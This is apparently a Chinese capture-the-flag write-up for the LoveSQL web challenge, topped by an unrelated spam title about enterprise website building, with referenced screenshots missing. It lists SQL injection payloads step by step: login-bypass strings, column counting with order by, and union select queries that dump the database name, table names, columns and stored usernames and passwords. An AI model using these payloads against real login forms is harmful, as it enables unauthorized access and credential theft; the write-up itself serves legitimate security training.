綿陽(yáng)企業(yè)網(wǎng)站建設(shè)免費(fèi)入駐的賣貨平臺(tái)
題目
打開(kāi)頁(yè)面顯示如下
查看源代碼,查到一個(gè)check.php,還是get傳參
嘗試賬號(hào)密碼輸入
題目名為sql,用萬(wàn)能密碼
1'or 1=1#
或
admin' or '1'='1'
給了一段亂碼,也不是flag
查看字段數(shù)
/check.php?username=admin' order by 3%23&password=1
到4時(shí)報(bào)錯(cuò),說(shuō)明字段數(shù)為3
用union來(lái)查詢測(cè)試注入點(diǎn),查看回顯點(diǎn)
構(gòu)造payload
/check.php?username=1' union select 1,2,3%23&password=1
顯示回顯點(diǎn)為2和3
查看數(shù)據(jù)庫(kù)
/check.php?username=1' union select 1,database(),version()%23&password=1
可得到數(shù)據(jù)庫(kù)名為geek?
查看數(shù)據(jù)表
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
得到兩個(gè)數(shù)據(jù)表
查看表中字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
字段都是一樣的
查看表中數(shù)據(jù)
/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
?geekuser表中數(shù)據(jù)為
l0ve1ysq1表中數(shù)據(jù)為
查看不全,看源代碼
總結(jié)
用union來(lái)查詢測(cè)試注入點(diǎn),查看回顯點(diǎn)
參考文章鏈接:
CTF-Web-[極客大挑戰(zhàn) 2019]LoveSQL - 知乎
LoveSQL-CSDN博客